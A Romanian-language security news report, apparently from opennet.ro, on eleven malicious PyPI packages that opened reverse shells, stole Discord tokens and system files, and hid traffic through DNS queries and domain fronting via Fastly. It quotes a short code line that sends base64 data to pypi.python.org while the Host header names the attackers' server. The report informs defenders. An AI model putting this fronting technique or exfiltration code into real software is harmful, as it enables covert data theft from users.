În catalogul PyPI au fost identificate biblioteci malițioase care utilizează CDN PyPI pentru a ascunde canalul de comunicare.

În catalogul PyPI (Python Package Index) au fost identificate 11 pachete care includ cod malițios. Până la identificarea problemelor, aceste pachete au fost descărcate în total de aproximativ 38.000 de ori. Pachetele malițioase identificate se remarcă prin utilizarea unor metode elaborate de ascundere a canalelor de comunicare cu serverele atacatorilor.

  • importantpackage (6305 descărcări), important-package (12897) — stabileau o conexiune cu un server extern sub acoperirea unei conexiuni către pypi.python.org pentru a oferi acces shell la sistem (reverse shell) și foloseau programul trevorc2 pentru a ascunde canalul de comunicare.
  • pptest (10001), ipboards (946) — utilizau DNS ca canal de comunicare pentru a transmite informații despre sistem (în primul pachet, numele host-ului, directorul de lucru, IP-ul intern și extern; în al doilea — numele utilizatorului și al host-ului).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) — detectau în sistem token-ul serviciului Discord și îl trimiteau către un host extern.
  • trrfab (287) — trimitea către un host extern identificatorul, numele host-ului și conținutul /etc/passwd, /etc/hosts, /home.
  • 10Cent10 (490) — stabilea o conexiune shell inversă cu un host extern.
  • yandex-yt (4183) — afișa un mesaj de compromitere a sistemului și redirecționa către o pagină cu informații suplimentare despre pașii următori, prezentată prin nda.ya.ru (api.ya.cc).

Un aspect deosebit este metoda de accesare a host-urilor externe utilizată în pachetele importantpackage și important-package, care foloseau rețeaua de livrare de conținut Fastly pentru a-și ascunde activitatea în catalogul PyPI. De fapt, cererile erau trimise către serverul pypi.python.org (inclusiv specificând numele python.org în SNI în cadrul cererii HTTPS), dar în tot acest timp în antetul HTTP «Host» era setat numele unui server controlat de atacatori (sec.forward.io.global.prod.fastly.net). Rețeaua de livrare de conținut directiona astfel de cereri către serverul atacatorilor, folosind parametrii conexiunii TLS cu pypi.python.org la transmiterea datelor.

Funcționarea infrastructurii PyPI este asigurată prin implicarea rețelei de livrare de conținut Fastly, care utilizează un proxy transparent Varnish pentru a cache-uiesc cererile tipice, precum și un proces de gestionare a certificatelor TLS la nivel CDN și nu pe serverele finale, pentru a organiza transmiterea cererilor HTTPS prin proxy. Indiferent de host-ul țintă, cererile sunt trimise către proxy, care determină host-ul necesar în funcție de antetul HTTP «Host», iar numele de domenii hosturile sunt legate de adresele IP standard pentru toți clienții Fastly ale balansoarelor de încărcare CDN.

Serverul atacatorilor este, de asemenea, înregistrat în CDN Fastly, care oferă tuturor doritorilor planuri tarifare gratuite și chiar permite înregistrarea anonimă. Este demn de remarcat că pentru a trimite solicitări către victima, în timpul creării 'reverse shell', este folosită de asemenea o schemă, dar inițiată din partea gazdelor atacatorilor. Din partea interacțiunii cu serverul atacatorilor, totul pare a fi o sesiune legitimă cu catalogul PyPI, criptată folosind certificat TLS PyPI. Această tehnică, cunoscută sub numele de 'domain fronting', a fost utilizată anterior pentru a ascunde numele gazdei în timpul ocolirii blocajelor, folosind capacitatea oferită în anumite rețele CDN de a face apeluri HTTPS specificând un gazdă falsă în SNI și transmițând efectiv numele gazdei solicitate în antetul HTTP Host în cadrul sesiunii TLS.

În catalogul PyPI au fost identificate biblioteci malițioase care utilizează CDN PyPI pentru a ascunde canalul de comunicare.

Pentru a ascunde activitatea malițioasă, s-a aplicat suplimentar pachetul TrevorC2, care permite interacțiunea cu serverul să semene cu navigarea web obișnuită, de exemplu, solicitările malițioase erau trimise sub forma descărcării unei imagini 'https://pypi.python.org/images/guid=' cu codificarea informației în parametrul guid. url = 'https://pypi.python.org' + '/images' + '?' + 'guid=' + b64_payload r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})

În pachetele pptest și ipboards a fost aplicată o altă abordare pentru a ascunde activitatea de rețea, bazată pe codificarea informației utile în solicitările către serverul DNS. Malware-ul transmite informații prin efectuarea de solicitări DNS de tip 'nu4timjagq4fimbuhe.example.com', în care datele transmise către serverul de comandă sunt codificate în numele subdomeniului folosind formatul base64. Atacatorul primește datele mesajului, controlând serverul DNS pentru domeniul example.com.

Sursa: opennet.ro

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster